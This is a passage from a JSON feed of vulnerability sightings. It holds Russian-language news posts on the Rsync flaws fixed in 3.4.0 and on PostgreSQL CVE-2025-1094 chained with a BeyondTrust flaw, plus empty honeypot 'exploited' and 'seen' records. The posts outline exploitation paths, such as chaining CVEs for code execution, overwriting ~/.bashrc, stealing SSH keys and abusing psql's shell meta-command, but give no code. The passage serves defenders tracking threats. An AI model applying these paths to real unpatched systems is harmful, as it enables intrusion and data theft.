\u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0. \u0412 \u043d\u0435\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://kb.cert.org/vuls/id/952657 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-28T00:00:50.207753Z"}, {"uuid": "19fab914-d2c0-47a2-909c-a5f7fd45979b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "published-proof-of-concept", "source": "https://t.me/EchelonEyes/3644", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c PostgreSQL \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u043d\u0443\u043b\u0435\u043b\u0432\u044b\u043c \u0434\u043d\u0435\u043c BeyondTrust \u0432 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u044f\u043b\u0438 \u0437\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 BeyondTrust Privileged Remote Access \u0438 Remote Support \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2024 \u0433\u043e\u0434\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0442\u0430\u043a\u0436\u0435 \u0432\u043e\u043e\u0440\u0443\u0436\u0438\u043b\u0438\u0441\u044c \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u043c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432 PostgreSQL. \u041a \u0442\u0430\u043a\u0438\u043c \u0432\u044b\u0432\u043e\u0434\u0430\u043c \u043f\u0440\u0438\u0448\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Rapid7.\n\n\u041d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2025-1094 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,1), \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 PostgreSQL psql.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e CVE-2025-1094, \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0442\u0435\u043c \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043c\u0435\u0442\u0430\u043a\u043e\u043c\u0430\u043d\u0434\u044b\u00bb, - \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 Rapid7.\n\n\u0412 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0440\u0443\u0433\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u2013 CVE-2024-12356 \u2013 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 BeyondTrust, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e, \u0447\u0442\u043e \u00ab\u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f CVE-2024-12356 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u043b \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e CVE-2025-1094 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430\u00bb.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 PostgreSQL \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445: PostgreSQL 17 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 17.3), PostgreSQL 16 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 16.7), PostgreSQL 15 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 15.11), PostgreSQL 14 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 14.16) \u0438 PostgreSQL 13 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 13.19).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a PostgreSQL \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043d\u0435\u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u044b UTF-8, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044f \u0434\u0432\u0435\u0440\u044c \u0434\u043b\u044f \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0431\u044b\u0441\u0442\u0440\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u00ab\\!\u00bb, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/ \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c", "creation_timestamp": "2026-07-28T00:00:51.552224Z"}, {"uuid": "07b772f9-9aab-4e7f-a018-85455d3aaa4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12747", "type": "exploited", "source": "https://t.me/EchelonEyes/3541", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\n\n\u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c Unix \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Google Cloud Vulnerability Research, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0431\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 \u041a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 CERT (CERT/CC). \u2013 \u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt\u00bb.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445:\n\n- CVE-2024-12084 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 Rsync \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\n\n- CVE-2024-12085 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) - \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,1) - \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Rsync;\n\n- CVE-2024-12087 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Rsync;\n\n- CVE-2024-12088 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u043e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (\u041e\u0446\u0435\u043d\u043a\u0430 CVSS: 5,6) - c\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u0432 Rsync \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c CVE-2024-12084 \u0438 CVE-2024-12085, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440 Rsync. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0. \u0412 \u043d\u0435\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://kb.cert.org/vuls/id/952657 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-28T01:00:29.910341Z"}, {"uuid": "2dea1f21-7ebe-40dd-a29a-ed8a6d30130c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-30)", "content": "", "creation_timestamp": "2026-08-31T10:15:07.119407Z"}, {"uuid": "296b62b5-8369-4030-8818-020e0b8e9a80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-27)", "content": "", "creation_timestamp": "2026-07-28T10:15:04.234869Z"}, {"uuid": "c6787313-de3a-4770-87ce-0dc5678d779a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-28)", "content": "", "creation_timestamp": "2026-08-29T10:00:03.869199Z"}, {"uuid": "d90ce9de-3e97-4816-881c-f057966ea9c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-24)", "content": "", "creation_timestamp": "2026-08-25T10:15:04.465574Z"}, {"uuid": "163d2560-22cb-409e-82b8-2ce6b277a502", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "published-proof-of-concept", "source": "Telegram/mXwJqGjsLNp0LFwWbXU4h3vA714Oj6yIG5AFZePUNxHCgwE", "content": "", "creation_timestamp": "2026-08-29T00:00:29.387591Z"}, {"uuid": "0097e28a-8930-446f-9150-e134e0816f59", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e3432014-4595-49b5-8226-3589f5b9ae6e", "content": "", "creation_timestamp": "2026-08-25T11:00:44.483417Z"}, {"uuid": "58f5e613-6e41-4a3c-8b9d-c1c266acc2c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-25)", "content": "", "creation_timestamp": "2026-08-26T10:00:02.540152Z"}, {"uuid": "7fe3295f-4a20-4e3a-8bca-ef84eb85f3c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-23)", "content": "", "creation_timestamp": "2026-08-24T10:00:03.909344Z"}, {"uuid": "32c7b858-5524-4c22-8732-42adad7103ab", 